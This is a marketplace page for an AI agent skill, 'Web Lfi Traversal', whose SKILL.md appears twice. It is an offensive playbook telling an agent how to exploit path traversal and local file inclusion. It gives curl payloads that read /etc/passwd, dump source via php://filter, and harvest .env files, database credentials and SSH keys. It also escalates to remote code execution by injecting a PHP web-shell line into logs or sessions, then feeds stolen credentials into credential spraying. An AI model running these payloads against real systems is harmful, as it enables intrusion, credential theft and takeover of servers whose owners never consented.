How do I install the Web Lfi Traversal skill?

Run npx skillmds@latest add s0ld13rr/web-lfi-traversal in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Lfi Traversal safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Lfi Traversal?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Lfi Traversal free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Lfi Traversal?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Lfi Traversal by s0ld13rr — Agent Skill

Name: Web Lfi Traversal
Rating: 4.5 (4 reviews)
Author: s0ld13rr

Web Lfi Traversal

Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.

s0ld13rr Updated Sep 22, 2026

File contents

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

Reads only (traversal) → escalate to source disclosure + secrets.
PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
App sandboxes to a base dir → look for a symlink/upload you control to include.
200 with generic page ≠ read — confirm the actual file bytes are in the response.

---name: web-lfi-traversaldescription: Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.---# Path Traversal / LFI## When this firesA param selects a file/page/template/language/download, or a download/include endpoint reflects file content.## Detect```bashcurl 'http://<t>/?page=../../../../etc/passwd' # classiccurl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encodedcurl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypass````root:x:0:0` back = traversal/LFI. Windows: `..\..\..\windows\win.ini`.## Decide- Reads only (traversal) → escalate to source disclosure + secrets.- PHP `include()` (LFI) → escalate to RCE via wrappers/poisoning.- Extension appended (`page.php`) → `php://filter` (below) or null-byte on old PHP; try `?page=../../etc/passwd%00` (PHP<5.3.4).## Exploit → PROVE IMPACT```bash# source disclosure (base64 so PHP doesn't execute it):curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline# LFI → RCE paths:# log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log# session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID># php://input / data:// (if allow_url_include) ; /proc/self/environ (older)# php filter chain → RCE (php_filter_chain_generator) when only file-read is available```**Proof required:** contents of a file the app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.## Tooling`nuclei -tags lfi,traversal`; `ffuf` with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.## False positives / pitfalls- WAF/framework normalizes `../` → try encodings, `....//`, absolute paths, or a different param.- App sandboxes to a base dir → look for a symlink/upload you control to include.- 200 with generic page ≠ read — confirm the actual file bytes are in the response.

Frequently asked questions